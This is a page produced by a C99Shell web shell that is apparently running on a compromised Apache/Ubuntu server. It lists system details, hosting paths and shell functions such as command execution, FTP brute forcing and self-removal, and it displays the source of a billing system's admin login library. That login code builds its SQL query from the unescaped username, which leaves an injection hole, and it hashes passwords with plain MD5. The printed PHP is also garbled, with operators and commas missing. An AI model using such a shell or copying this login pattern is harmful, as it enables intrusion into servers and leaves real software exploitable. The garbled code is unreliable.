!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/system/application/libraries/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     clogin.php (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class 
clogin
{

    function 
clogin()
    {
        
$this->obj =& get_instance();
    }

    function 
is_logged_in()
    {


        if (
$this->obj->session) {

            
//If user has valid session, and such is logged in
            
if ($this->obj->session->userdata('logged_in')) {
                return 
true;
            } else {
                return 
false;
            }
        } else {
            return 
false;
        }
    }

    function 
login_routine()
    {

        
$passwordPost MD5($this->obj->input->post('userPassword'));
        
// $passwordPost = MD5($this->obj->input->post('userPassword'));
                
$usernamePost $this->obj->input->post('userName');
        
$password str_replace (" """$passwordPost);
        
$username str_replace (" """$usernamePost);

        
$login_result 0;

        
$query $this->obj->db->query("SELECT * FROM admin WHERE login = '$username' AND password = '$password' AND status=1");
//echo $this->obj->db->last_query();
        
if($query->num_rows() == 1)
         {
            
$row $query->row();
            
$userID  =$row ->id;
            
$resellerCURD  =$row ->reseller_section;
            
$wholeSaleClientCURD $row->wholesale_section;
            
$sipClientCURD    $row->sip_section;
            
$aniClientCURD    $row->ani_section;
            
$didCURD    $row->did_section;
            
$lotsCURD    $row->lots_section;
            
$rateCURD  =$row ->rate_section;
            
$dialPlanCURD  =$row ->dialplan_section;
            
$reportCURD         $row->report_section;
            
$userCURD         $row->user_section;
            
$fullName  =$row ->full_name;
            
$login_result 1;
         }

        
//If username and password match set the a logged in flag in 'ci_sessions'
        
if ($login_result==1) {
            
// Add User Log //
            
$this->obj->generallib->addUserLog($userID,-1,'Login','Admin Login');

            
$credentials = array(
                                  
'user_name' => $username,
                                  
'logged_in' => $login_result,
                                  
'userID'=> $userID,
                                  
'resellerCURD'=> $resellerCURD,
                                  
'wholeSaleClientCURD' => $wholeSaleClientCURD,
                                  
'sipClientCURD' => $sipClientCURD,
                                  
'aniClientCURD' => $aniClientCURD
                                  
'didCURD' => $didCURD
                                  
'lotsCURD' => $lotsCURD
                                  
'rateCURD'=> $rateCURD,
                                  
'dialPlanCURD'=> $dialPlanCURD,
                                  
'fullName'=> $fullName
                                  
'userCURD' => $userCURD,
                                  
'reportCURD' => $reportCURD);

            
$this->obj->session->set_userdata($credentials);
            
            
$query $this->obj->db->query("UPDATE admin set is_login = 1 where id='$userID'");
            
            
redirect('admin/cpanel/','location'); //On success redirect user to default page

        
} else {
            
//On error send user back to login page, and add error message
            //echo "I am here"; 
            
redirect('login/login_fail''location'); //On success redirect user to default page
        
}
    }






    function 
logout()
    {
        
//$this->obj->load->library('session');
        
$this->obj->session->destroy();
        
redirect('login/logout''location');
    }





}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--